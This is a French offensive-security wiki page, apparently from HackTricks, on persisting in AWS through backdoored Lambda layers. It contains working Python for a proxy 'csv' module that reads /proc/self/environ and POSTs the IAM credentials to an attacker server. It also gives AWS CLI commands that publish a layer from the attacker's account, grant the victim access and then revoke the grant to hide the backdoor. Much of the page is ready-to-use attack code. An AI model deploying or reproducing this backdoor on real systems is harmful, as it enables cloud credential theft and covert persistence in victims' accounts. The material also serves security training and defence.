# AWS - Persistence des couches Lambda

{{#include ../../../../banners/hacktricks-training.md}}

## Couches Lambda

Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration.

Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, **le contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.

Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre autorisation d'accès à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.

Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.

### Chemin de chargement Python

Le chemin de chargement que Python utilisera dans lambda est le suivant :
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Vérifiez comment les **deuxième** et troisième **positions** sont occupées par des répertoires où les **lambda layers** décompressent leurs fichiers : **`/opt/python/lib/python3.9/site-packages`** et **`/opt/python`**

> [!CAUTION]
> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui exécutera **du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.

Par conséquent, les exigences sont :

- **Vérifiez les bibliothèques** qui sont **chargées** par le code des victimes
- Créez une **bibliothèque proxy avec des lambda layers** qui **exécutera du code personnalisé** et **chargera la bibliothèque originale**.

### Bibliothèques préchargées

> [!WARNING]
> Lors de l'abus de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
> Afin d'abuser de cette technique de persistance, le code doit **charger une nouvelle bibliothèque qui n'est pas chargée** lorsque le code est exécuté.

Avec un code python comme celui-ci, il est possible d'obtenir la **liste des bibliothèques qui sont préchargées** dans l'environnement d'exécution python dans lambda :
```python
import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
Et voici la **liste** (vérifiez que des bibliothèques comme `os` ou `json` sont déjà présentes)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
Et voici la liste des **bibliothèques** que **lambda inclut installées par défaut** : [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)

### Backdooring de la couche Lambda

Dans cet exemple, supposons que le code ciblé importe **`csv`**. Nous allons **backdoor l'importation de la bibliothèque `csv`**.

Pour ce faire, nous allons **créer le répertoire csv** avec le fichier **`__init__.py`** à l'intérieur dans un chemin chargé par lambda : **`/opt/python/lib/python3.9/site-packages`**\
Ensuite, lorsque la lambda est exécutée et essaie de charger **csv**, notre **fichier `__init__.py` sera chargé et exécuté**.\
Ce fichier doit :

- Exécuter notre payload
- Charger la bibliothèque csv originale

Nous pouvons faire les deux avec :
```python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv
```
Ensuite, créez un zip avec ce code dans le chemin **`python/lib/python3.9/site-packages/__init__.py`** et ajoutez-le en tant que couche lambda.

Vous pouvez trouver ce code sur [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)

Le payload intégré **enverra les identifiants IAM à un serveur LA PREMIÈRE FOIS qu'il est invoqué ou APRÈS une réinitialisation du conteneur lambda** (changement de code ou lambda froide), mais **d'autres techniques** telles que les suivantes pourraient également être intégrées :

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

### Couches externes

Notez qu'il est possible d'utiliser **des couches lambda provenant de comptes externes**. De plus, une lambda peut utiliser une couche d'un compte externe même si elle n'a pas les autorisations.\
Notez également que le **nombre maximum de couches qu'une lambda peut avoir est de 5**.

Par conséquent, afin d'améliorer la polyvalence de cette technique, un attaquant pourrait :

- Backdoor une couche existante de l'utilisateur (rien n'est externe)
- **Créer** une **couche** dans **son compte**, donner l'**accès du compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
- La **Lambda** pourra toujours **utiliser la couche** et la **victime n'aura** aucun moyen facile de **télécharger le code des couches** (à part obtenir un shell inversé à l'intérieur de la lambda)
- La victime **ne verra pas les couches externes** utilisées avec **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}
